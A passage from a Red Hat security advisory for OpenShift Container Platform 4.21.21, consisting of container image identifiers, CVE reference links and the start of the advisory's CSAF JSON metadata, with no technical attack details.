| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64 | — |
Threats
Impact
Important
References
63 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:27044 | self |
| https://access.redhat.com/security/cve/CVE-2026-34986 | external |
| https://access.redhat.com/security/cve/CVE-2026-40895 | external |
| https://access.redhat.com/security/cve/CVE-2026-44486 | external |
| https://access.redhat.com/security/cve/CVE-2026-44487 | external |
| https://access.redhat.com/security/cve/CVE-2026-44488 | external |
| https://access.redhat.com/security/cve/CVE-2026-44492 | external |
| https://access.redhat.com/security/cve/CVE-2026-44494 | external |
| https://access.redhat.com/security/cve/CVE-2026-44495 | external |
| https://access.redhat.com/security/cve/CVE-2026-44496 | external |
| https://access.redhat.com/security/cve/CVE-2026-46579 | external |
| https://access.redhat.com/security/updates/classi… | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2026-34986 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2455470 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-34986 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-34986 | external |
| https://github.com/go-jose/go-jose/security/advis… | external |
| https://pkg.go.dev/github.com/go-jose/go-jose/v4#… | external |
| https://access.redhat.com/security/cve/CVE-2026-40895 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2460297 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-40895 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-40895 | external |
| https://github.com/follow-redirects/follow-redire… | external |
| https://access.redhat.com/security/cve/CVE-2026-44486 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487947 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44486 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44486 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44487 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487948 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44487 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44487 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44488 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487949 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44488 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44488 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44492 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487938 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44492 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44492 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44494 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487942 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44494 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44494 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44495 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487937 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44495 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44495 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44496 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487943 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44496 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44496 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-46579 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2483181 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-46579 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-46579 | external |
Acknowledgments
Red Hat
Ricardo Pchevuzinske Katz
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Red Hat OpenShift Container Platform release 4.21.21 is now available with updates to packages and images that fix several bugs and add enhancements.\n\n This release includes a security update for Red Hat OpenShift Container Platform 4.21.\n\nRed Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.",
"title": "Topic"
},
{
"category": "general",
"text": "Red Hat OpenShift Container Platform is Red Hat\u0027s cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.\n\nThis advisory contains the container images for Red Hat OpenShift Container Platform 4.21.21. See the following advisory for the RPM packages for this release:\n\nhttps://access.redhat.com/errata/RHBA-2026:27041\n\nSpace precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html/release_notes/",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:27044",
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-34986",
"url": "https://access.redhat.com/security/cve/CVE-2026-34986"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-40895",
"url": "https://access.redhat.com/security/cve/CVE-2026-40895"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44486",
"url": "https://access.redhat.com/security/cve/CVE-2026-44486"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44487",
"url": "https://access.redhat.com/security/cve/CVE-2026-44487"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44488",
"url": "https://access.redhat.com/security/cve/CVE-2026-44488"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44492",
"url": "https://access.redhat.com/security/cve/CVE-2026-44492"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44494",
"url": "https://access.redhat.com/security/cve/CVE-2026-44494"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44495",
"url": "https://access.redhat.com/security/cve/CVE-2026-44495"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44496",
"url": "https://access.redhat.com/security/cve/CVE-2026-44496"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-46579",
"url": "https://access.redhat.com/security/cve/CVE-2026-46579"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_27044.json"
}
],
"title": "Red Hat Security Advisory: OpenShift Container Platform 4.21.21 bug fix and security update",
"tracking": {
"current_release_date": "2026-07-30T19:20:54+00:00",
"generator": {
"date": "2026-07-30T19:20:54+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.8"
}
},
"id": "RHSA-2026:27044",
"initial_release_date": "2026-06-23T08:24:00+00:00",
"revision_history": [
{
"date": "2026-06-23T08:24:00+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-07-25T05:39:32+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-07-30T19:20:54+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat OpenShift Container Platform 4.21",
"product": {
"name": "Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:openshift:4.21::el9"
}
}
}
],
"category": "product_family",
"name": "Red Hat OpenShift Container Platform"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-ui-rhel9@sha256%3A14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9\u0026tag=1781718814"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"product_id": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-azure-file-csi-driver-rhel9@sha256%3A387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9\u0026tag=1781539200"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"product_id": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-node-tuning-rhel9-operator@sha256%3Ac8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator\u0026tag=1781206884"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"product": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"product_id": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/driver-toolkit-rhel9@sha256%3A061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/driver-toolkit-rhel9\u0026tag=1781294377"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"product_id": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ironic-rhel9@sha256%3Acb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-ironic-rhel9\u0026tag=1781294092"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"product_id": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ironic-agent-rhel9@sha256%3A591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-ironic-agent-rhel9\u0026tag=1781181095"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"product_id": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ironic-machine-os-downloader-rhel9@sha256%3Af6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9\u0026tag=1781730438"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"product_id": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-monitoring-plugin-rhel9@sha256%3Aeda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9\u0026tag=1781731914"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"product_id": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-networking-console-plugin-rhel9@sha256%3A2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9\u0026tag=1781718671"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"product_id": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-console-rhel9@sha256%3A664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-console-rhel9\u0026tag=1781732044"
}
}
},
{
"category": "product_version",
